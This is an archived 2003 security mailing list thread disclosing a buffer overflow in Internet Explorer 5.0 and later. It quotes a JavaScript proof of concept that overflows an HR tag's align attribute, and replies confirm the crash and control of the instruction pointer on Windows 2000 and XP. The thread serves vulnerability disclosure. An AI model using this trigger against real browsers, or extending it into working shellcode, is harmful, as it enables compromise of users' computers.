[Full-Disclosure] Re: Internet Explorer >=5.0 : Buffer overflow

From: SecurITeam BugTraq Monitoring (bugtraq_at_securiteam.com)
Date: 06/25/03

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    To: "KF" <dotslash@snosoft.com>, "Digital Scream" <digitalscream@real.xakep.ru>
Date: Wed, 25 Jun 2003 13:05:20 +0200

    Hi,

    I can confirm it under Windows 2000 with IE 5.50.4807.2300

    Full control over the EIP, but the shellcode cannot contain (as it currently
    appears) non Alpha Numeric characters, too bad I guess.

    Thanks
    Noam Rathaus
    CTO
    Beyond Security Ltd
    http://www.SecurITeam.com
    http://www.BeyondSecurity.com
    ----- Original Message -----
    From: "KF" <dotslash@snosoft.com>
    To: "Digital Scream" <digitalscream@real.xakep.ru>
    Sent: Monday, June 23, 2003 6:43 PM
    Subject: Re: Internet Explorer >=5.0 : Buffer overflow

    > I can confirm this on Windows XP Professional
    >
    > version 6.0.2800.1106.xpsp2-030422-1633
    >
    > 0x43534c41 refrenced mem at 0x43534c41
    > -KF
    >
    >
    > Digital Scream wrote:
    >
    > >&lt;script&gt;
    > > wnd=open("about:blank","","");
    > > wnd.moveTo(screen.Width,screen.Height);
    > > WndDoc=wnd.document;
    > > WndDoc.open();
    > > WndDoc.clear();
    > > buffer="";
    > > for(i=1;i<=127;i++)buffer+="X";
    > > buffer+="DigitalScream";
    > > WndDoc.write("<HR align='"+buffer+"'>");
    > > WndDoc.execCommand("SelectAll");
    > > WndDoc.execCommand("Copy");
    > > wnd.close();
    > >&lt;/script&gt;
    > >
    > >Grtz: Nj3l, buggzy, 3APA3A, Void Team, X - Crew
    > >
    > >
    > >
    >
    >
    >

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